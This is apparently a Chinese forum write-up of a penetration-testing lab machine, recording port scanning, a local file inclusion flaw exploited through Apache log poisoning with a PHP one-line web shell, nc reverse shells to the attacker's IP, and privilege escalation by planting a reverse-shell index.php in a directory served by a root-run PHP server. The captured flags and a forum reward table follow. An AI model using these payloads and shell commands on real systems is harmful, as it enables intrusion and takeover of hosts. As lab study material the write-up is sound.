getwebshell
: 信息收集 → 发现文件包含 → 包含访问日志 → 构造恶意反弹shell
访问 → 包含反弹shell
访问执行 → 反弹getwebshell
提 权 思 路
: 发现root
权限进程 → 目录可控 → 写入提权命令 → 执行进程 → 提权
192.168.45.194
192.168.155.72
sudo nmap --min-rate 10000 -p- 192.168.155.72
开放的端口->21,22,25,80,2121,3128,8593,54787,62524
# tcp探测
sudo nmap -sT -sV -O -sC -p21,22,25,80,2121,3128,8593,54787,62524 192.168.155.72
开放的21端口表示系统可能正在运行FTP服务器,允许通过FTP协议上传和下载文件。通过FTP客户端软件,用户可以使用用户名和密码连接至FTP服务器,并进行文件管理操作。
首先尝试匿名登录21端口 anonymous
ftp 192.168.155.72
连接后发现是root用户,不存在匿名
如果没有思路后期可以尝试爆破
端口25/tcp 是开放的,并且被标识为 “smtp”。SMTP 是邮件传输协议 (Simple Mail Transfer Protocol) 的标准端口。当端口25/tcp 处于开放状态时,表示该系统可能作为邮件服务器或邮件传输代理 (Mail Transfer Agent,MTA) 运行。SMTP 协议用于在邮件服务器之间传递电子邮件。
80端口显示正在设置数据库,请稍后重试
curl http://192.168.155.72
没发现额外的信息
因为80端口没什么功能点,也判定不出指纹,进行目录扫描
ftp 192.168.155.72 2121
有一个目录pub
访问了一下没啥东西
没扫出东西? 看了一下是和缓存有关系
提示还在搭建图书馆
点了一下按钮 URL发生了变化
book = list
这个传参可以作为一个测试点
尝试加了一个’发现没有回显
思考会不会是LFI
发现存在目录穿越
发现存在目录穿越之后,思考是否可以包含日志
因为这个服务器是apache,所以直接访问/var/log/apache2/access.log
啥都没有
8593端口的文件读取发现包含的都是之前访问80端口时的目录扫描信息
根据PHP的后端前往80端口构造一句话<?php system($_GET[YaoRuo]); ?>
利用攻击机nc远程连接后发送nc 192.168.155.72 80
GET <?php system($_GET[YaoRuo]); ?> HTTP/1.1
之后我们刷新日志查看PHP脚本是否存在
可以看到一条GET后面内容不显示的访问日志,这就说明payload
写入成功了
确认是文件包含
我们首先监听反弹shellnc -lvvp 4444
之后我们构造反弹payload&YaoRuo=nc -e /bin/bash 192.168.45.194 4444
因为带有空格,我们进行一下url编码
&YaoRuo=nc%20-e%20%2Fbin%2Fbash%20192.168.45.194%204444
由于获取的shell交互不友好,利用python获得新的交互shell
# 利用python获取交互shell -> python失败使用python3
python -c "import pty;pty.spawn('/bin/bash')";
find / -name local.txt 2>/dev/null
/var/www/local.txt
cat /var/www/local.txt
40cfb7965f5dd1e869fff100d4fc509e
find / -perm -u=s -type f 2>/dev/null
nmap、vim、find、bash、more、less、nano、cp、awk、php
# 调整行列,方便查询进程
stty rows 50 cols 250
# 查找进程,是否存在root权限进程
ps aux
这个在本地57端口的进程调用了php
/usr/bin/php -S 127.0.0.1:57 -t /var/tmp/sv/
是使用 PHP 的内建 Web 服务器在本地主机(127.0.0.1
)的 57
端口上运行一个 Web
服务器,并将根目录设置为/var/tmp/sv/
尝试查看具有rwx
权限,如果我们写入其中并执行的话即可进行提权
# 写入反弹shell
echo "<?php system('nc -e /bin/bash 192.168.45.194 4555'); ?>" > /var/tmp/sv/index.php
# 等待开启监听之后
curl localhost:57
# 攻击机开启监听
nc -lvvp 4555
成功弹到
获取交互shell python -c "import pty;pty.spawn('/bin/bash')";
cat /root/proof.txt
1b1072b9066a1fcca671680b8f173c69
完结撒花~
看见这么多端口不用畏难,一个一个梳理过去完全ok
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
Track-魔方 | 600.00 | 0 | 2023-08-06 14:02:59 | 深度 200 普适 200 可读 200 |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.